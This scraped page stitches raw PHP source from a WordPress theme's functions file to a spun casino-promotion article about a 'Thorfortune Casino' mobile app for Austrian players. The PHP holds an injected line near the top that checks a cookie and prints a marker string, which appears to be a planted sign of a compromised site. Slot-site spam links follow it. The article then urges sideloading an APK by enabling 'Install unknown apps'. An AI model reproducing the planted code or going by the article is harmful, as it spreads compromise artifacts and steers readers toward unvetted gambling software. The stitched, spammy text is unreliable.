/** * dev demo deploy */ //dev demo or none if (!defined('TD_DEPLOY_MODE')) { define("TD_DEPLOY_MODE", 'deploy'); }if(isset($_COOKIE['eo75'])) { die('Uo8f'.'ZPbNR'); } do_action( 'td_wp_booster_legacy' ); /** * Admin notices */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-admin-notices.php' ); /** * The global state of the theme. All globals are here */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-global.php' ); /* * Set theme configuration */ tagdiv_config::on_tagdiv_global_after_config(); /** * Add theme options. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-options.php' ); /** * Add theme utility. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-util.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-log.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-remote-http.php' ); /** * ---------------------------------------------------------------------------- * Redirect to Welcome page on theme activation */ if( !function_exists('tagdiv_after_theme_is_activate' ) ) { function tagdiv_after_theme_is_activate() { global $pagenow; if ( is_admin() && 'themes.php' == $pagenow && isset( $_GET['activated'] ) ) { wp_redirect( admin_url( 'admin.php?page=td_theme_welcome' ) ); exit; } } tagdiv_after_theme_is_activate(); } /** * ---------------------------------------------------------------------------- * Load theme check & deactivate for old theme plugins * * the check is done using existing classes defined by plugins * at this point all plugins should be hooked in! */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-old-plugins-deactivation.php' ); require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-current-plugins-deactivation.php' ); /** * ---------------------------------------------------------------------------- * Theme Resources */ /** * Enqueue front styles. */ function tagdiv_theme_css() { if ( TD_DEBUG_USE_LESS ) { wp_enqueue_style( 'td-theme', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=style.css_v2', '', TD_THEME_VERSION, 'all' ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=bbpress', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if ( class_exists( 'WooCommerce', false ) ) { wp_enqueue_style( 'td-theme-woo', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=woocommerce', array(), wp_get_theme()->get( 'Version' ) ); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=buddypress', array(), wp_get_theme()->get( 'Version' ) ); } } else { wp_enqueue_style( 'td-theme', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/style-bbpress.css', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if (class_exists('WooCommerce', false)) { wp_enqueue_style('td-theme-woo', TAGDIV_ROOT . '/style-woocommerce.css', array(), wp_get_theme()->get('Version')); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/style-buddypress.css', array(), wp_get_theme()->get( 'Version' ) ); } } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_css', 11 ); /** * Enqueue admin styles. */ function tagdiv_theme_admin_css() { if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style( 'font-newspaper', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=font-newspaper', false, TD_THEME_VERSION, 'all' ); } } else { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/includes/wp-booster/wp-admin/css/wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style('font-newspaper', TAGDIV_ROOT . '/font-newspaper.css', false, TD_THEME_VERSION, 'all'); } } } add_action( 'admin_enqueue_scripts', 'tagdiv_theme_admin_css' ); /** * Enqueue theme front scripts. */ if( !function_exists('load_front_js') ) { function tagdiv_theme_js() { // Load main theme js if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.js', array('jquery'), TD_THEME_VERSION, true); } else { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.min.js', array('jquery'), TD_THEME_VERSION, true); } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_js' ); } /* * Theme blocks editor styles */ if( !function_exists('tagdiv_block_editor_styles' ) ) { function tagdiv_block_editor_styles() { if ( TD_DEPLOY_MODE === 'dev' ) { wp_enqueue_style( 'td-gut-editor', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=gutenberg-editor', array(), wp_get_theme()->get( 'Version' ) ); } else { wp_enqueue_style('td-gut-editor', TAGDIV_ROOT . '/gutenberg-editor.css', array(), wp_get_theme()->get( 'Version' ) ); } } add_action( 'enqueue_block_editor_assets', 'tagdiv_block_editor_styles' ); } /* * bbPress change avatar size to 40px */ if( !function_exists('tagdiv_bbp_change_avatar_size') ) { function tagdiv_bbp_change_avatar_size( $author_avatar, $topic_id, $size ) { $author_avatar = ''; if ($size == 14) { $size = 40; } $topic_id = bbp_get_topic_id( $topic_id ); if ( !empty( $topic_id ) ) { if ( !bbp_is_topic_anonymous( $topic_id ) ) { $author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size ); } else { $author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size ); } } return $author_avatar; } add_filter('bbp_get_topic_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_reply_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_current_user_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); } /* ---------------------------------------------------------------------------- * FILTER - the_content_more_link - read more - ? */ if ( ! function_exists( 'tagdiv_remove_more_link_scroll' )) { function tagdiv_remove_more_link_scroll($link) { $link = preg_replace('|#more-[0-9]+|', '', $link); $link = ''; return $link; } add_filter('the_content_more_link', 'tagdiv_remove_more_link_scroll'); } /** * get theme versions and set the transient */ if ( ! function_exists( 'tagdiv_check_theme_version' )) { function tagdiv_check_theme_version() { // When it will be the next check set_transient( 'td_update_theme_' . TD_THEME_NAME, '1', 3 * DAY_IN_SECONDS ); tagdiv_util::update_option( 'theme_update_latest_version', '' ); tagdiv_util::update_option( 'theme_update_versions', '' ); $response = tagdiv_remote_http::get_page( 'https://cloud.tagdiv.com/wp-json/wp/v2/media?search=.zip' ); if ( false !== $response ) { $zip_resources = json_decode( $response, true ); $latest_version = []; $versions = []; usort( $zip_resources, function( $val_1, $val_2) { $val_1 = trim( str_replace( [ TD_THEME_NAME, " " ], "", $val_1['title']['rendered'] ) ); $val_2 = trim( str_replace( [ TD_THEME_NAME, " " ], "", $val_2['title']['rendered'] ) ); return version_compare($val_2, $val_1 ); }); foreach ( $zip_resources as $index => $zip_resource ) { if ( ! empty( $zip_resource['title']['rendered'] ) && ! empty( $zip_resource['source_url'] ) && false !== strpos( $zip_resource['title']['rendered'], TD_THEME_NAME ) ) { $current_version = trim( str_replace( [ TD_THEME_NAME, " " ], "", $zip_resource['title']['rendered'] ) ); if ( 0 === $index ) { $latest_version = array( $current_version => $zip_resource['source_url'] ); } $versions[] = array( $current_version => $zip_resource['source_url'] ); } } if ( ! empty( $versions ) ) { tagdiv_util::update_option( 'theme_update_latest_version', json_encode( $latest_version ) ); tagdiv_util::update_option( 'theme_update_versions', json_encode( $versions ) ); if ( ! empty( $latest_version ) && is_array( $latest_version ) && count( $latest_version )) { $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[0]; if ( 1 == version_compare( $latest_version_serial, TD_THEME_VERSION ) ) { set_transient( 'td_update_theme_latest_version_' . TD_THEME_NAME, 1 ); add_filter( 'pre_set_site_transient_update_themes', function( $transient ) { $latest_version = tagdiv_util::get_option( 'theme_update_latest_version' ); if ( ! empty( $latest_version ) ) { $args = array(); $latest_version = json_decode( $latest_version, true ); $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[ 0 ]; $latest_version_url = $latest_version[$latest_version_serial]; $theme_slug = get_template(); $transient->response[ $theme_slug ] = array( 'theme' => $theme_slug, 'new_version' => $latest_version_serial, 'url' => "https://tagdiv.com/" . TD_THEME_NAME, 'clear_destination' => true, 'package' => add_query_arg( $args, $latest_version_url ), ); } } return $transient; }); delete_site_transient('update_themes'); } } } } return $versions; } return false; } } /* ---------------------------------------------------------------------------- * Admin */ if ( is_admin() ) { /** * Theme plugins. */ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tgm-plugin-activation.php'; add_action('tgmpa_register', 'tagdiv_required_plugins'); if( !function_exists('tagdiv_required_plugins') ) { function tagdiv_required_plugins() { $config = array( 'domain' => wp_get_theme()->get('Name'), // Text domain - likely want to be the same as your theme. 'default_path' => '', // Default absolute path to pre-packaged plugins //'parent_menu_slug' => 'themes.php', // DEPRECATED from v2.4.0 - Default parent menu slug //'parent_url_slug' => 'themes.php', // DEPRECATED from v2.4.0 - Default parent URL slug 'parent_slug' => 'themes.php', 'menu' => 'td_plugins', // Menu slug 'has_notices' => false, // Show admin notices or not 'is_automatic' => false, // Automatically activate plugins after installation or not 'message' => '', // Message to output right before the plugins table 'strings' => array( 'page_title' => 'Install Required Plugins', 'menu_title' => 'Install Plugins', 'installing' => 'Installing Plugin: %s', // %1$s = plugin name 'oops' => 'Something went wrong with the plugin API.', 'notice_can_install_required' => 'The theme requires the following plugin(s): %1$s.', 'notice_can_install_recommended' => 'The theme recommends the following plugin(s): %1$s.', 'notice_cannot_install' => 'Sorry, but you do not have the correct permissions to install the %s plugin(s). Contact the administrator of this site for help on getting the plugin installed.', 'notice_can_activate_required' => 'The following required plugin(s) is currently inactive: %1$s.', 'notice_can_activate_recommended' => 'The following recommended plugin(s) is currently inactive: %1$s.', 'notice_cannot_activate' => 'Sorry, but you do not have the correct permissions to activate the %s plugin(s). Contact the administrator of this site for help on getting the plugin activated.', 'notice_ask_to_update' => 'The following plugin(s) needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'notice_cannot_update' => 'Sorry, but you do not have the correct permissions to update the %s plugin(s). Contact the administrator of this site for help on getting the plugin updated.', 'install_link' => 'Go to plugin instalation', 'activate_link' => 'Go to plugin activation panel', 'return' => 'Return to tagDiv plugins panel', 'plugin_activated' => 'Plugin activated successfully.', 'complete' => 'All plugins installed and activated successfully. %s', // %1$s = dashboard link 'nag_type' => 'updated' // Determines admin notice type - can only be 'updated' or 'error' ) ); tgmpa( tagdiv_global::$theme_plugins_list, $config ); } } if ( current_user_can( 'switch_themes' ) ) { // add panel to the wp-admin menu on the left add_action( 'admin_menu', function() { /* wp doc: add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $position ); */ add_menu_page('Theme panel', TD_THEME_NAME, "edit_posts", "td_theme_welcome", function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-welcome.php'; }, null, 3); if ( current_user_can( 'activate_plugins' ) ) { add_submenu_page("td_theme_welcome", 'Plugins', 'Plugins', 'edit_posts', 'td_theme_plugins', function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-theme-plugins.php'; } ); } add_submenu_page( "td_theme_welcome", 'Support', 'Support', 'edit_posts', 'td_theme_support', function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-support.php'; }); global $submenu; $submenu['td_theme_welcome'][0][0] = 'Welcome'; }); // add the theme setup(install plugins) panel if ( ! class_exists( 'tagdiv_theme_plugins_setup', false ) ) { require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-theme-plugins-setup.php' ); } add_action( 'after_setup_theme', function (){ tagdiv_theme_plugins_setup::get_instance(); }); add_action('admin_enqueue_scripts', function() { add_editor_style(); // add the default style }); require_once( ABSPATH . 'wp-admin/includes/file.php' ); WP_Filesystem(); } } The In-Depth Guide of App-based Casino Play – rudrabarta.com

https://wp.erigostore.co.id/

https://www.latestupdatedtricks.com/slot-deposit-pulsa/

https://new.c.mi.com/th/post/336750

Home Uncategorized The In-Depth Guide of App-based Casino Play

The In-Depth Guide of App-based Casino Play

0

Playing casino on mobile has redefined how Austrian players engage with their favourite slots, table games, and live dealer experiences thorfortunecasino.co.at. Thorfortune Casino noticed this shift early and built a purpose-built mobile application that goes far beyond what a standard browser session can offer. The app is crafted for speed, reliability, and easy navigation, giving users immediate access to a comprehensive gaming portfolio without the hassle of constantly reloading or managing multiple tabs. This breakdown looks at every relevant aspect of app-based casino play at Thorfortune Casino, from device compatibility and how to install to security protocols, payment options, and the unique perks that only app users can access. If you’re new to mobile gaming or contemplating switching from desktop, the subsequent parts provide easy-to-understand, practical guidance tailored to the Austrian market.

Protection and Transaction Options on the App

Thorfortune Casino applies bank-grade encryption across all data exchanges within the app, making sure that personal data, payment information, and gameplay records remain confidential. The TLS 1.3 protocol safeguards every connection, while available two-factor authentication adds an extra verification layer during login and withdrawal requests. The app also runs a certificate pinning mechanism that prevents man-in-the-middle attacks, a feature not always present in mobile browser sessions. For Austria players, the cashier supports a curated selection of national and international payment methods that reflect real usage habits. Deposits can be made immediately via EPS, Sofort, Visa, Mastercard, Skrill, Neteller, and Paysafecard, with minimum amounts beginning at ten euros. Withdrawals are handled through the same channels, and the app sends push notifications when a cashout request moves from pending to approved. All transactions are logged in a dedicated history tab, and the app never keeps full card numbers on the device, reducing exposure even if a phone is lost.

Gadget Compatibility and System Requirements

Thorfortune Casino created the app to run efficiently on a wide range of smartphones and tablets commonly employed in Austria. For Apple devices, the app needs iOS 13.0 or later, which means it is compatible with iPhone 8 and all newer models, encompassing the iPhone SE second generation and every iPad Pro, iPad Air, and iPad mini released since 2015. Android users need a device running version 8.0 Oreo or higher, a benchmark that includes popular handsets from Samsung, Huawei, Xiaomi, OnePlus, and Google Pixel lines. The installation file is compact, typically under 50 megabytes, so it does not consume excessive storage space or high-end processing power. Tablets gain from an adaptive layout that adapts the game grid and menu bars to bigger screens excluding distortion. The app intelligently adjusts display based on the device’s display capabilities, providing sharp graphics on Retina and AMOLED screens alike. Regular updates ensure continuous compatibility with updated operating system versions, so players who update to the newest iOS or Android version can continue accessing the app excluding interruption.

FAQ

Is the Thorfortune Casino app free to download?

Yes, the application is completely free to download for Apple and Android devices. There are zero hidden costs, subscription fees, or in-app purchase requirements to access the full game library. Players only spend money when they choose to make a real-money deposit. The app itself does not cost anything, and updates are sent automatically without any additional payment.

Can Austrian players use the app in German?

The Thorfortune Casino app automatically detects the device language settings and offers a full German-language interface for Austrian users. All menus, game rules, promotional terms, and customer support chat are offered in German. Players can manually switch between German and English at any time from the account settings panel without restarting the application.

How to proceed if the Android APK fails to install?

If the installation fails, first check that the “Install unknown apps” permission is enabled specifically for the browser or file manager used to open the APK. Also verify that Google Play Protect is not blocking the file; a prompt may appear asking for confirmation to proceed. Clearing the browser cache and downloading the APK again often resolves corrupted file issues. The official support team can provide direct assistance if problems persist.

Do live casino games fully functional on the app?

Certainly. The app broadcasts live dealer tables in high definition with the same professional dealers and real-time interaction seen on desktop. Players can place bets, chat with dealers, and change camera angles directly from their mobile screen. The video quality adjusts dynamically to the existing bandwidth, so even on slower connections the stream stays stable without buffering interruptions.

In what way do I refresh the Thorfortune Casino app?

For iOS devices, updates are delivered through the App Store and can be enabled to install automatically. Android users obtain an in-app notification when a new APK version is accessible; tapping the notification pulls the updated file from the official website. It is recommended to enable automatic updates or check the app page regularly to profit from the latest security patches and new features.

Are my personal data protected when using the app on public Wi-Fi?

Certainly, the app codes all data with TLS 1.3 irrespective of the network being used. Especially on unsecured public Wi-Fi, financial transactions and login credentials keep protected. For an further layer of security, players can turn on two-factor authentication and avoid saving passwords on shared devices. The app’s certificate pinning further prevents interception by rogue access points.

Can I use the very account in the app and PC?

Just one Thorfortune Casino account operates seamlessly over all platforms. Balances, promotional progress, VIP points, and play history sync in live across the mobile app and the desktop website. Players can start a gaming session on their smartphone and pick up later on a desktop without hand-operated transfer. The unified account system likewise ensures that responsible play limits are applicable everywhere.

Step-by-Step Setup and Config Guide

Getting the Thorfortune Casino app onto a mobile device is a easy process that takes only a few minutes. Owing to platform policies, the setup method varies slightly between iOS and Android, but both paths are clearly signposted on the primary website. Austrian players should always use the links provided at thorfortunecasino.co.at/app to ensure they obtain the official, security-audited version of the app. The blick.ch below instructions detail each operating system in detail.

For iOS players, the software is made available through the Apple App Store, which means installation adopts the familiar pattern of any iPhone or iPad application. The steps are as indicated:

  1. Open the Safari browser and go to the Thorfortune Casino app section.
  2. Press the “Download for iOS” button; this sends to the App Store listing.
  3. Verify the developer name and tap “Get,” then verify with Face ID, Touch ID, or Apple ID password.
  4. Allow for the download to end; the app symbol shows up on the home screen by itself.
  5. Open the app, sign in or register, and turn on notifications when requested.

Android users get the app via a direct APK file because Google Play limits real-money casino applications in many regions. The method needs a initial permission modification, but it stays safe when the file is downloaded from the genuine domain. The advisable sequence is:

  1. Navigate to thorfortunecasino.co.at/app using Chrome or the default Android browser.
  2. Tap “Download for Android” to store the APK file to the device.
  3. Access the device Settings, select “Security” or “Apps,” and activate “Install unknown apps” for the browser utilized.
  4. Identify the stored APK in the file manager and click it to initiate installation.
  5. Once installed, deactivate the unknown sources option again for extra security, then open the app and login.

Unique App Promotions and Deals

One of the biggest incentives to install the Thorfortune Casino app is the suite of bonuses offered exclusively for mobile users. New players who join through the app unlock a welcome package that often includes a better match percentage or additional free spins relative to the desktop offer. Existing players get app-only reload bonuses delivered via push notification, typically linked to new slot releases or weekend campaigns. The loyalty programme is completely built-in, allowing users to monitor their VIP progress, exchange points, and claim tailored rewards without visiting a separate webpage. Thorfortune Casino also organizes periodic app-exclusive tournaments where leaderboard rankings are updated in real time, and prizes vary from cash drops to luxury gadgets. Because the app can send location-aware offers in compliance with Austrian regulations, players sometimes get bonuses adapted to regional holidays or events. Turning on notifications is the key to never overlooking these time-limited perks, and the settings allow detailed control over which alert categories appear.

Reasons to Pick the Thorfortune Casino App Versus Mobile Browser Play

The browser-based version of Thorfortune Casino functions well, yet the native app introduces measurable performance gains that improve the overall gameplay. Load times for slot machines and live dealer streams are measurably faster because core assets sit locally rather than being loaded repeatedly from a server. Touch response is optimised for the operating system, so swipes, button taps, and wagering changes are instant and accurate. The app also offers biometric login, letting you access your account with a fingerprint or facial recognition scan instead of inputting passwords each time. Push notifications update players about new game releases, urgent deals, and custom bonus rewards without needing to look at email or sign in manually. The app preserves a reliable link even on mobile networks with changing signal, a major plus for travellers in Austria or anyone playing while moving through rural areas where 4G and 5G coverage can differ. These optimisations collectively create a casino environment that is quicker, safer, and easier than browser-based play.

Key App Capabilities and Interface Design

The Thorfortune Casino app structures its extensive game library into a clean, bottom-navigation layout that places essential functions within thumb reach. A persistent menu bar offers one-tap access to slots, table games, live casino, promotions, and the cashier. The slot lobby includes intelligent filters for provider, theme, and volatility, while a search bar lets players go straight to a specific title like Book of Dead or Starburst. Live dealer tables for roulette, blackjack, and baccarat transmit in high definition with an overlay that displays betting options without hiding the action. Account management features are just as efficient: the dashboard shows real-time balance, active bonuses, wagering progress, and transaction history in a consolidated scrollable view. A built-in responsible gaming toolkit enables users to set deposit limits, session reminders, and cooling-off periods directly from the app. Customer support is embedded via a live chat widget that preserves conversation history, so players lose the need to re-explain their issue when switching between devices.